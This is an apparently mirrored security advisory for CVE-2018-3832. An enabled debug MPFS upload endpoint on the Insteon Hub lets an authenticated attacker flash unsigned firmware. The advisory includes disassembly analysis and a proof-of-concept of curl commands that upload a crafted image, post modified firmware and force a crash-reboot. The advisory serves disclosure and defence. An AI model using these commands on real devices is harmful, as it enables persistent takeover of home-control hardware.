logo
DATABASE RESOURCES PRICING ABOUT US

Insteon Hub MPFS Upload Firmware Update Vulnerability(CVE-2018-3832)

Description

### Summary An exploitable firmware update vulnerability exists in Insteon Hub running firmware version 1013. The HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker can upload an MPFS binary via the "/mpfsupload" HTTP form and later on upload the firmware via a POST request to "firmware.htm". ### Tested Versions Insteon Hub 2245-222 - Firmware version 1013 ### Product URLs http://www.insteon.com/insteon-hub ### CVSSv3 Score 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-489: Leftover Debug Code ### Details Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture. The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly. One of the default tasks defined by Microchip's "Libraries for Applications" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own to handle for example "GET" and "POST" requests. The HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN. ``` // Stores extended state data for each connection typedef struct { DWORD byteCount; // How many bytes have been read so far DWORD nextCallback; // Byte index of the next callback DWORD callbackID; // Callback ID to execute, also used as watchdog timer DWORD callbackPos; // Callback position indicator BYTE *ptrData; // Points to first free byte in data BYTE *ptrRead; // Points to current read location FILE_HANDLE file; // File pointer for the file being served FILE_HANDLE offsets; // File pointer for any offset info being used BYTE hasArgs; // True if there were get or cookie arguments BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass HTTP_STATUS httpStatus; // Request method/status HTTP_FILE_TYPE fileType; // File type to return with Content-Type BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer #if defined(HTTP_USE_POST) BYTE smPost; // POST state machine variable #endif } HTTP_CONN; extern HTTP_CONN curHTTP; ``` The developer implementing GET and POST handler functions can thus access curHTTP to implement its logic. Note that these handlers are only reached if a valid basic-auth string is provided. Pages served by the HTTPServer are located in an "MPFS" image (Microchip Proprietary File System) which contain both static and dynamic resources. Insteon stores the "MPFS" image at offset 0x40000 in one of the three SPI flashes. By default, the Microchip's HTTPServer defines an /mpfsupload path that can be used to upload any arbitrary "MPFS" binary: ``` // Configure MPFS over HTTP updating // Comment this line to disable updating via HTTP #define HTTP_MPFS_UPLOAD "mpfsupload" ... #if defined(HTTP_MPFS_UPLOAD) static HTTP_IO_RESULT HTTPMPFSUpload(void) { BYTE c[16]; WORD lenA, lenB; switch(curHTTP.httpStatus) { // New upload, so look for the CRLFCRLF case HTTP_MPFS_UP: lenA = TCPFindROMArray(sktHTTP, (ROM BYTE*)"\r\n\r\n", 4, 0, FALSE); ... ... #endif ``` It's easy to see that Insteon left this functionality available: ``` $ curl -u Username:Password "http://192.168.0.10:25105/mpfsupload" <html><body style="margin:100px"><form method=post action="/mpfsupload" enctype="multipart/form-data"><b>MPFS Image Upload</b><p><input type=file name=i size=40>   <input type=submit value="Upload"></form></body></html> ``` The structure of an "MPFS" file is described in the file "MPFS2.c" of Microchip's "Libraries for Applications": ``` MPFS Structure: [M][P][F][S] [BYTE Ver Hi][BYTE Ver Lo][WORD Number of Files] [Name Hash 0][Name Hash 1]...[Name Hash N] [File Record 0][File Record 1]...[File Record N] [String 0][String 1]...[String N] [File Data 0][File Data 1]...[File Data N] Name Hash (2 bytes): hash = 0 for each(byte in name) hash += byte hash <<= 1 Technically this means the hash only includes the final 15 characters of a name. File Record Structure (22 bytes): [DWORD String Ptr][DWORD Data Ptr] [DWORD Len][DWORD Timestamp][DWORD Microtime] [WORD Flags] Pointers are absolute addresses within the MPFS image. Timestamp is the UNIX timestamp Microtime is currently unimplemented String Structure (1 to 64 bytes): ["path/to/file.ext"][0x00] File Data Structure (arbitrary length): [File Data] ``` As we can see there is no signature involved, so it's possible to add any new file to the MPFS Structure (note that the filename hash has to be updated too). The issue with leaving the MPFS upload feature enabled is that it could be used to alter the execution of an existing MCU firmware. Indeed, in this case it is even possible to write persistent code to the device by exploiting this feature. Let's have a look at an interesting path in the HTTP POST handler defined by Insteon: ``` seg000:9D030E3C insteon_HTTPExecutePost: seg000:9D030E3C seg000:9D030E3C var_20= -0x20 seg000:9D030E3C var_4= -4 seg000:9D030E3C seg000:9D030E3C 000 D0 FF BD 27 addiu $sp, -0x30 seg000:9D030E40 030 2C 00 BF AF sw $ra, 0x30+var_4($sp) seg000:9D030E44 030 00 A0 02 3C lui $v0, 0xA000 seg000:9D030E48 030 44 0D 44 90 lbu $a0, curHTTP_file # [1] seg000:9D030E4C 030 10 00 A5 27 addiu $a1, $sp, 0x30+var_20 seg000:9D030E50 030 F8 8A 41 0F jal MPFSGetFilename seg000:9D030E54 030 14 00 06 24 li $a2, 0x14 seg000:9D030E58 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20 seg000:9D030E5C 030 07 9D 05 3C+ la $a1, aFirmware_htm # "firmware.htm" seg000:9D030E64 030 57 F5 41 0F jal memcmp # [2] seg000:9D030E68 030 0C 00 06 24 li $a2, 0xC seg000:9D030E6C 030 05 00 40 14 bnez $v0, loc_9D030E84 seg000:9D030E70 030 10 00 A4 27 addiu $a0, $sp, 0x30+var_20 seg000:9D030E74 030 40 BD 40 0F jal insteon_HTTPExecutePostFirmware seg000:9D030E78 030 00 00 00 00 nop ``` As we can see, the requested path is present in curHTTP_file [1] and it's saved to var_20 by calling MPFSGetFilename. If the requested file is "firmware.htm" [2], the device will follow the path that performs a firmware update by calling insteon_HTTPExecutePostFirmware. Normally this file doesn't exist in the device, but it's possible to upload an "MPFS" image that contains it: this would effectively re-enable an unsigned firmware update functionality. ``` seg000:9D02F500 seg000:9D02F500 insteon_HTTPExecutePostFirmware: ... seg000:9D02F560 038 8F 81 80 A3 sb $zero, (insteon_is_fwpost_ok - unk_A0008030)($gp) seg000:9D02F564 038 90 83 83 93 lbu $v1, (byte_A00003C0 - unk_A0008030)($gp) seg000:9D02F568 038 C0 18 03 00 sll $v1, 3 seg000:9D02F56C 038 00 A0 02 3C+ la $v0, httpStubs seg000:9D02F574 038 21 10 62 00 addu $v0, $v1, $v0 seg000:9D02F578 038 04 00 44 90 lbu $a0, 4($v0) # hTCP seg000:9D02F57C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp) seg000:9D02F580 038 14 00 A0 AF sw $zero, 0x38+var_24($sp) seg000:9D02F584 038 07 9D 05 3C+ la $a1, asc_9D075674 # "\r\n" seg000:9D02F58C 038 02 00 06 24 li $a2, 2 seg000:9D02F590 038 25 AE 40 0F jal TCPFindArrayEx # [3] seg000:9D02F594 038 21 38 00 00 move $a3, $zero ... seg000:9D02F5D0 038 02 00 C6 24 addiu $a2, 2 seg000:9D02F5D4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP seg000:9D02F5D8 038 21 28 00 00 move $a1, $zero # buffer seg000:9D02F5DC 038 15 AD 40 0F jal TCPGetArray # [4] seg000:9D02F5E0 038 FF FF C6 30 andi $a2, 0xFFFF ... seg000:9D02F610 038 10 00 A0 AF sw $zero, 0x38+var_28($sp) seg000:9D02F614 038 14 00 A0 AF sw $zero, 0x38+var_24($sp) seg000:9D02F618 038 07 9D 05 3C+ la $a1, asc_9D075678 # "\r\n\r\n" seg000:9D02F620 038 04 00 06 24 li $a2, 4 seg000:9D02F624 038 25 AE 40 0F jal TCPFindArrayEx # [5] seg000:9D02F628 038 21 38 00 00 move $a3, $zero ... seg000:9D02F64C 038 04 00 44 90 lbu $a0, 4($v0) # hTCP seg000:9D02F650 038 21 28 00 00 move $a1, $zero # buffer seg000:9D02F654 038 15 AD 40 0F jal TCPGetArray # [6] seg000:9D02F658 038 FF FF C6 30 andi $a2, 0xFFFF ... seg000:9D02F6D0 038 C0 18 03 00 sll $v1, 3 seg000:9D02F6D4 038 00 A0 02 3C+ la $v0, httpStubs seg000:9D02F6DC 038 21 10 62 00 addu $v0, $v1, $v0 seg000:9D02F6E0 038 89 AC 40 0F jal TCPIsGetReady # [7] seg000:9D02F6E4 038 04 00 44 90 lbu $a0, 4($v0) # hTCP ... seg000:9D02F72C 038 10 00 A0 AF sw $zero, 0x38+var_28($sp) seg000:9D02F730 038 14 00 A0 AF sw $zero, 0x38+var_24($sp) seg000:9D02F734 038 07 9D 05 3C+ la $a1, a0200_0 # ":0200" seg000:9D02F73C 038 05 00 06 24 li $a2, 5 seg000:9D02F740 038 25 AE 40 0F jal TCPFindArrayEx # [8] seg000:9D02F744 038 21 38 00 00 move $a3, $zero seg000:9D02F748 038 21 88 40 00 move $s1, $v0 seg000:9D02F74C 038 FF FF 02 34 li $v0, 0xFFFF seg000:9D02F750 038 03 00 22 12 beq $s1, $v0, loc_9D02F760 seg000:9D02F754 038 01 00 02 24 li $v0, 1 seg000:9D02F758 038 8F 81 82 A3 sb $v0, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [9] seg000:9D02F75C 038 21 88 00 00 move $s1, $zero ``` At [3] the TCP buffer is checked to contain "\r\n" and at [4] every byte is discarded up to and including "\r\n". The same then happens at [5] and [6], where any input is discarded up to and including "\r\n\r\n". Then, if data is available [7], the TCP buffer is checked to contain ":0200" [8]. This sequence is present at the beginning of an Insteon firmware since it's using the Intel HEX format. Finally, if the correct sequence is found, the insteon_is_fwpost_ok variable will contain 1 [9]. The execution continues by reading the whole POST body: ``` ... seg000:9D02F768 038 00 A0 14 3C+ la $s4, httpStubs seg000:9D02F770 038 00 A0 13 3C+ la $s3, curHTTP_data seg000:9D02F778 038 01 A0 15 3C+ la $s5, insteon_post_buffer # [10] seg000:9D02F780 038 00 A0 12 3C lui $s2, 0xA000 seg000:9D02F784 038 2C 0D 56 26 addiu $s6, $s2, (curHTTP - 0xA0000000) seg000:9D02F788 038 25 00 D6 26 addiu $s6, (curHTTP_data+1 - 0xA0000D2C) seg000:9D02F78C seg000:9D02F78C loc_9D02F78C: seg000:9D02F78C 038 90 83 82 93 lbu $v0, (byte_A00003C0 - unk_A0008030)($gp) seg000:9D02F790 038 C0 10 02 00 sll $v0, 3 seg000:9D02F794 038 21 10 54 00 addu $v0, $s4 seg000:9D02F798 038 04 00 44 90 lbu $a0, 4($v0) # hTCP seg000:9D02F79C 038 41 00 02 2E sltiu $v0, $s0, 0x41 seg000:9D02F7A0 038 02 00 40 14 bnez $v0, loc_9D02F7AC seg000:9D02F7A4 038 21 30 00 02 move $a2, $s0 seg000:9D02F7A8 038 40 00 06 24 li $a2, 0x40 seg000:9D02F7AC seg000:9D02F7AC loc_9D02F7AC: seg000:9D02F7AC 038 21 28 60 02 move $a1, $s3 # buffer seg000:9D02F7B0 038 15 AD 40 0F jal TCPGetArray # [11] seg000:9D02F7B4 038 FF FF C6 30 andi $a2, 0xFFFF seg000:9D02F7B8 038 0A 00 40 10 beqz $v0, loc_9D02F7E4 seg000:9D02F7BC 038 21 18 60 02 move $v1, $s3 seg000:9D02F7C0 038 21 20 B1 02 addu $a0, $s5, $s1 seg000:9D02F7C4 038 FF FF 46 24 addiu $a2, $v0, -1 seg000:9D02F7C8 038 FF FF C6 30 andi $a2, 0xFFFF seg000:9D02F7CC 038 21 30 C6 02 addu $a2, $s6, $a2 seg000:9D02F7D0 seg000:9D02F7D0 loc_9D02F7D0: seg000:9D02F7D0 038 00 00 65 90 lbu $a1, 0($v1) seg000:9D02F7D4 038 00 00 85 A0 sb $a1, 0($a0) seg000:9D02F7D8 038 01 00 63 24 addiu $v1, 1 seg000:9D02F7DC 038 FC FF 66 14 bne $v1, $a2, loc_9D02F7D0 seg000:9D02F7E0 038 01 00 84 24 addiu $a0, 1 seg000:9D02F7E4 seg000:9D02F7E4 loc_9D02F7E4: seg000:9D02F7E4 038 21 88 51 00 addu $s1, $v0, $s1 seg000:9D02F7E8 038 FF FF 31 32 andi $s1, 0xFFFF seg000:9D02F7EC 038 2C 0D 43 8E lw $v1, 0xD2C($s2) # remaining data to read seg000:9D02F7F0 038 23 18 62 00 subu $v1, $v0 seg000:9D02F7F4 038 23 80 02 02 subu $s0, $v0 # [12] seg000:9D02F7F8 038 FF FF 10 32 andi $s0, 0xFFFF seg000:9D02F7FC 038 E3 FF 00 16 bnez $s0, loc_9D02F78C # loop seg000:9D02F800 038 2C 0D 43 AE sw $v1, 0xD2C($s2) ``` The POST body is saved in RAM at 0xA000B354 [10] and the data is read in 64-byte chunks [11] until the size defined by the "Content-Length" header is reached [12]. ``` ... seg000:9D02F854 038 01 00 02 24 li $v0, 1 seg000:9D02F858 038 8F 81 83 93 lbu $v1, (insteon_is_fwpost_ok - unk_A0008030)($gp) # [13] seg000:9D02F85C 038 35 00 62 14 bne $v1, $v0, loc_9D02F934 seg000:9D02F860 038 04 00 03 24 li $v1, 4 seg000:9D02F864 038 03 00 03 24 li $v1, 3 seg000:9D02F868 038 00 A0 02 3C lui $v0, 0xA000 seg000:9D02F86C 038 B4 0D 43 A0 sb $v1, byte_A0000DB4 seg000:9D02F870 038 01 A0 02 3C+ la $v0, insteon_post_buffer seg000:9D02F878 038 00 10 44 24 addiu $a0, $v0, (byte_A000C354 - 0xA000B354) seg000:9D02F87C 038 2D 00 03 24 li $v1, 0x2D seg000:9D02F880 038 00 00 43 A0 sb $v1, (insteon_post_buffer - 0xA000B354)($v0) seg000:9D02F884 seg000:9D02F884 loc_9D02F884: seg000:9D02F884 038 01 00 42 24 addiu $v0, 1 seg000:9D02F888 038 FE FF 44 54 bnel $v0, $a0, loc_9D02F884 seg000:9D02F88C 038 00 00 43 A0 sb $v1, 0($v0) seg000:9D02F890 038 98 81 92 8F lw $s2, (dword_A00001C8 - unk_A0008030)($gp) seg000:9D02F894 038 02 8E 12 00 srl $s1, $s2, 24 seg000:9D02F898 038 A8 96 41 0F jal btohexa_high seg000:9D02F89C 038 21 20 20 02 move $a0, $s1 seg000:9D02F8A0 038 01 A0 10 3C lui $s0, 0xA001 seg000:9D02F8A4 038 54 B3 02 A2 sb $v0, insteon_post_buffer seg000:9D02F8A8 038 AF 96 41 0F jal btohexa_low seg000:9D02F8AC 038 21 20 20 02 move $a0, $s1 seg000:9D02F8B0 038 54 B3 11 26 addiu $s1, $s0, (insteon_post_buffer - 0xA0010000) # [14] seg000:9D02F8B4 038 01 00 22 A2 sb $v0, (byte_A000B355 - 0xA000B354)($s1) seg000:9D02F8B8 038 00 3C 50 7E ext $s0, $s2, 0x10, 8 seg000:9D02F8BC 038 A8 96 41 0F jal btohexa_high seg000:9D02F8C0 038 21 20 00 02 move $a0, $s0 seg000:9D02F8C4 038 02 00 22 A2 sb $v0, (byte_A000B356 - 0xA000B354)($s1) seg000:9D02F8C8 038 AF 96 41 0F jal btohexa_low seg000:9D02F8CC 038 21 20 00 02 move $a0, $s0 seg000:9D02F8D0 038 03 00 22 A2 sb $v0, (byte_A000B357 - 0xA000B354)($s1) seg000:9D02F8D4 038 00 3A 50 7E ext $s0, $s2, 8, 8 seg000:9D02F8D8 038 A8 96 41 0F jal btohexa_high seg000:9D02F8DC 038 21 20 00 02 move $a0, $s0 seg000:9D02F8E0 038 04 00 22 A2 sb $v0, (byte_A000B358 - 0xA000B354)($s1) seg000:9D02F8E4 038 AF 96 41 0F jal btohexa_low seg000:9D02F8E8 038 21 20 00 02 move $a0, $s0 seg000:9D02F8EC 038 05 00 22 A2 sb $v0, (byte_A000B359 - 0xA000B354)($s1) seg000:9D02F8F0 038 FF 00 50 32 andi $s0, $s2, 0xFF seg000:9D02F8F4 038 A8 96 41 0F jal btohexa_high seg000:9D02F8F8 038 21 20 00 02 move $a0, $s0 seg000:9D02F8FC 038 06 00 22 A2 sb $v0, (byte_A000B35A - 0xA000B354)($s1) seg000:9D02F900 038 AF 96 41 0F jal btohexa_low seg000:9D02F904 038 21 20 00 02 move $a0, $s0 seg000:9D02F908 038 07 00 22 A2 sb $v0, (byte_A000B35B - 0xA000B354)($s1) seg000:9D02F90C 038 21 20 20 02 move $a0, $s1 # [15] seg000:9D02F910 038 1F 00 10 3C lui $s0, 0x1F seg000:9D02F914 038 00 F0 05 36 ori $a1, $s0, 0xF000 seg000:9D02F918 038 13 84 41 0F jal insteon_perform_fw_update # [16] seg000:9D02F91C 038 00 08 06 24 li $a2, 0x800 ``` After the insteon_post_buffer is filled with the firmware, the insteon_is_fwpost_ok is checked to be 1 [13] and the firmware is passed as first parameter [15] to the function that actually writes the firmware to the internal memory [16]. No signature checks are performed throughout the entire operation, so an attacker can upload any arbitrary firmware image. ### Exploit Proof-of-Concept By exploiting this bug, an attacker could follow these steps to flash a custom firmware to the device: ``` 1- Create an MPFS image with just one file with name "firmware.htm". 2- Upload the custom MPFS image: $ curl -F "i=@mpfs.bin" -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/mpfsupload" 3- Modify a valid "prod_fw.hex" Insteon firmware at will. Finally add "\r\n\r\n\r\n" at the beginning and remove the trailing signature. 4- Upload the modified firmware: $ curl --data-binary @prod_fw.hex -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/firmware.htm" 5- When the device is rebooted, it will flash the new firmware into its internal flash. It's possible to force a reboot by exploiting an uninitialized variable dereference, which will trigger an exception handler that will reboot the device: $ curl -u ${sUsername}:${sPassword} "http://${sInsteonIP}:25105/?" The device will take a few seconds more than usual to reboot since it will flash the new firmware before booting. ``` ### Timeline * 2018-01-16 - Vendor Disclosure * 2018-01-18 - Vendor advised issues under evaluation * 2018-02-12 - 30 day follow up with vendor * 2018-03-09 - Vendor advised working on course of action * 2018-04-06 - Follow up with vendor on fix/timeline * 2018-04-12 - Vendor advised issues addressed & plan for beta testing * 2018-06-19 - Public disclosure


Related